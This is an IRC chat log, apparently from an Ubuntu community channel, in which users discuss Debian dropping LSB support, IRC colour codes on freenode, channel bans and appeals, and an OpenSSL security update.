[14:15] <TJ-> so Debian cannot be compliant with the LSB, so decided to deprecate it
[14:16] <de-facto> hmm i see, but are there any debian based alternatives to this "standard" in place then (if that makes any sense to have an alternative to a standard)?
[14:21] <lotuspsychje> http://blog.pztop.com/2016/04/28/Install-Google-Earth-on-Ubuntu-16-04/
[14:22] <lotuspsychje> so why is lsb-core still in /pool?
[14:24] <lotuspsychje> !info lsb-core trusty
[14:25] <de-facto> hmm interessting http://packages.ubuntu.com/search?keywords=lsb-core
[14:26] <de-facto> last seems wily
[14:26] <lotuspsychje> yeah ive seen workaround threads with wily's lsb-core
[14:26] <lotuspsychje> but not really healthy way to mix packages like that
[14:27] <lotuspsychje> de-facto: perhaps a bug would be interesting, to notice the devs google earth is not working without a workaround anymore?
[14:29] <TJ-> found it: https://lwn.net/Articles/658809/
[14:32] <de-facto> TJ- interessting i will read into that, thanks :)
[14:35] <de-facto> hmm without something like lsb the diversity will increase, hence less compatibility i guess
[14:36] <TJ-> no, it's a theorectical ideal, doesn't reflect what is really happening in distros
[14:37] <TJ-> virtually no-one ships LSB application packages
[14:39] <de-facto> even in the business environments? i guess if debian based distros just dropped lsb it could either mean more decisions against using them in such environments or that they want to establish their own standard
[14:40] <de-facto> i have no idea how ideal lsb in general is designed, but i like the idea of agreeing on a standard which has to be build on a federated level
[14:40] <lotuspsychje> and if they remove it, why not search for replacement, so the other depended packages still work
[14:42] <pauljw> biab
[15:47] <lotuspsychje> sometimes i wonder if some users really enjoy ubuntu, or sit all day in #ubuntu asking all kinds of issues...
[15:48] <daftykins> >:)
[15:48] <daftykins> i have an issue of my own today!
[15:48] <lotuspsychje> oh?
[15:49] <lotuspsychje> daftykins: you can alaways ask :p
[15:49] <daftykins> finalised my uncles VPN server yet the blighter is proving unreliable :| i'm over in -server right now asking ;D
[15:49] <daftykins> feels quite wrong to have the shoe on the other foot...
[15:49] <lotuspsychje> haha
[15:49] <lotuspsychje> we cant know it all mate
[15:49] <daftykins> :D
[15:50] <daftykins> dax: btw not sure if my ban extends to other channels, so don't mean to be circumventing anything
[15:50]  * lotuspsychje votes for an unban
[15:50] <pauljw> me too
[15:51] <daftykins> lol, thanks - but it'd be up to the council *bows*
[15:51] <pauljw> heheh... say no more
[15:52] <lotuspsychje> !appeal
[16:00] <lotuspsychje> evening baizon
[16:04] <baizon> hi lotuspsychje
[16:39] <EriC^^> i wish we could highlight commands
[16:39] <EriC^^> we possibly can if they let background colors in the channel
[16:39] <lotuspsychje> in wich way
[16:39] <EriC^^> like sudo something
[16:39] <lotuspsychje> ah
[16:39] <EriC^^> but sudo something has a light gray background
[16:39] <lotuspsychje> syntax higlight on irc would be cool
[16:40] <EriC^^> you can do it
[16:40] <EriC^^> they need to remove the -c in the channel
[16:40] <EriC^^> bla
[16:40] <EriC^^> did you see mine highlighted now?
[16:40] <EriC^^> or bla
[16:40] <EriC^^> no?
[16:40] <lotuspsychje> yeah but colors slow down an ircd
[16:40] <EriC^^> yeah but if we're giving commands it would be great
[16:40] <EriC^^> are you seeing mine?
[16:40] <lotuspsychje> no
[16:41] <EriC^^> oh
[16:41] <lotuspsychje> i have the colored hexchat colors of my choice
[16:41] <de-facto> Yellow on Red
[16:41] <lotuspsychje> to all text is green, but mine
[16:41] <de-facto> Ctrl + K8,4TextHere
[16:41] <lotuspsychje> EriC^^: i think freenode ircd is set to not allow colors
[16:42] <lotuspsychje> even on new private channels
[16:42] <de-facto> lotuspsychje so that did not reach you as colored text then?
[16:43] <lotuspsychje> my nick does
[16:43] <lotuspsychje> in the colors i chosen on hexchat
[16:43] <lotuspsychje> because of highlight
[16:43] <lotuspsychje> all the rest doesnt
[16:43] <de-facto> i mean THIS
[16:43] <de-facto> "THIS" is just normal text?
[16:43] <EriC^^> yeah
[16:43] <lotuspsychje> yes
[16:43] <EriC^^> it's not showing colors
[16:44] <EriC^^> ctrl+k 0,1
[16:44] <EriC^^> foreground,background
[16:44] <de-facto> hmm then they seem to filter it, was shown as colored send on my HexChat
[16:45] <EriC^^> same here for mine
[16:45] <de-facto> well then ｆｒｅｅｎｏｄｅ does not allow it
[16:46] <lotuspsychje> nop
[16:46] <lotuspsychje> even on channel modes change wont work
[16:53] <EriC^^> hmm
[16:53] <EriC^^> im asking in freenode
[16:53] <EriC^^> can bold work?
[16:53] <EriC^^> bla
[16:53] <EriC^^> is it bold?
[16:53] <lotuspsychje> nop
[16:54] <lotuspsychje> will only work if you create own ircd
[16:54] <EriC^^> EriC^^> can you use colors on freenode?
[16:54] <EriC^^> * #freenode :Cannot send to channel
[16:54] <EriC^^> that's odd
[16:54] <EriC^^> i'm identified
[16:54] <lotuspsychje> not voiced in channel perhaps?
[16:55] <EriC^^> yeah that's nuts
[16:55] <EriC^^> i think somebody just voices everyone after some time
[16:55] <lotuspsychje> yeah
[16:55] <lotuspsychje> bit lame approach
[16:55] <EriC^^> Please wait for eir to voice you (+v) before trying to talk
[16:55] <de-facto> idle there without saying anything
[16:55] <de-facto> rejoin
[16:56] <EriC^^> what the heck
[16:56] <EriC^^> i'm rejoining and not getting voiced
[16:56] <EriC^^> mdmcaf (~mdmcaf@c-71-237-34-153.hsd1.co.comcast.net) has joined #freenode
[16:56] <EriC^^> * eir gives voice to mdmcaf
[16:57] <lotuspsychje> lol
[16:57] <lotuspsychje> you have a voice ignore
[17:05] <EriC^^> i'm trolling them
[17:05] <lotuspsychje> lol
[17:05] <lotuspsychje> killed
[17:05] <EriC^^_> lool
[17:05] <lotuspsychje> oO
[17:05] <EriC^^_> did my last message get received?
[17:05] <lotuspsychje> what did you do
[17:06] <lotuspsychje> trolling
[17:06] <EriC^^_> lol they banned me wth
[17:06] <lotuspsychje>  EriC^^ has quit (Killed (Sigyn (Spam is off topic on freenode.)))
[17:06] <daftykins> :O
[17:09] <pauljw> what'd you do EriC^^_ , express an independent thought?
[17:09] <EriC^^_> lol
[17:10] <EriC^^_> i just parted and joined
[17:10] <pauljw> heheh
[17:10] <EriC^^_> half a dozen times maybe
[17:10] <pauljw> lol
[17:14] <EriC^^_> crap, this ip is banned from #ubuntu
[17:14] <EriC^^_> and irssi sucks
[17:17] <OerHeks> Radiohead has unveiled a new song, "Burn the Witch" :-(
[17:17] <lotuspsychje> oh oh
[17:19] <EriC^^_> nice
[17:19] <EriC^^_> 20mins later
[17:19] <EriC^^_> mode/#freenode [+vvvv Blitzmoez Crono|Work EriC^^_ Guest10068] by eir
[17:19] <EriC^^_> 19:19 -!- mode/#freenode [+vvvv HexJaguar Khaytsus Nightwolf_ Padawan] by eir
[17:19] <EriC^^_> 19:19 -!- mode/#freenode [+vvvv Pseudo TrentP Yst alina] by eir
[17:19] <EriC^^_> 19:19 -!- mode/#freenode [+vvvv andygraybeal askmee clu_ cyource2] by eir
[17:19] <EriC^^_> 19:19 -!- mode/#freenode [+vvvv dungodung genom jason_ jon-] by eir
[17:19] <EriC^^_> 19:19 -!- mode/#freenode [+vvvv jwheare_local lynxis medeirosthiiago muxsey] by  eir
[17:19] <EriC^^_> 19:19 -!- mode/#freenode [+vvvv nitefall p4d4w4n rpg thunderrd] by eir
[17:20] <EriC^^_> about time you stupid bot
[17:20] <EriC^^_> lol
[17:20] <pauljw> :)
[17:34] <dax> daftykins: no, your #ubuntu ban is only for #ubuntu
[17:35] <dax> daftykins: as far as unbans go, I'd recommend emailing the IRCC, i'm trying to find their listserv email now because i think the appeals email on that page is broken
[17:36] <de-facto> jup "/MODE #channel -c" seems to enable colors, just tested it
[17:36] <daftykins> dax: nah don't worry about it, i'm done - we both know all ops have a special place for me and it's not a good one
[17:37] <dax> daftykins: okays. if you change your mind in the future, address is irc-council@lists.ubuntu.com (and that list's private to IRCC people, not public)
[17:38] <daftykins> thanks
[17:39] <pauljw> bbl, time to run to the store.(no lotuspsychje, i don't mean the pantry this time. :D)
[17:42] <daftykins> hehehe
[17:53] <OerHeks> again a sssl update .. http://www.ubuntu.com/usn/
[17:54] <daftykins> oof
[17:54] <lotuspsychje> bbl guys
[17:54] <daftykins> think i read about this one, it doesn't have a cool name!
[18:49] <explosive> dax are you able to remove the ban from *!*@shell.bshellz.net from ubuntu?
[18:55] <EriC^^> awesome i'm unbanned
[19:05] <dax> EriC^^: no, bshellz is banned per IRCC decision, so 1) i'm not supposed to override that, 2) there was a *lot* of abuse from there before we banned it
[19:07] <EriC^^> dax: oh ok, np :)
[19:07] <EriC^^> thanks anyways
[19:56] <de-facto> dang did somebody tap on that loose connection wire again?
[19:57] <EriC^^> :D
[20:23] <daftykins> hrmm would these OpenSSL patches require a reboot?
[20:27] <dax> i use checkrestart in debian-goodies for that
[20:27] <dax> i think ubuntu has that package too
[20:28] <daftykins> ah har, thanks
[20:36] <OerHeks> not here after the ssl update, as far as i can read http://paste.ubuntu.com/16208631/
[20:36] <de-facto> i guess if a binary still has the old version in its memory a restart could not hurt
[21:36]  * de-facto installs debian-goodies on all his boxes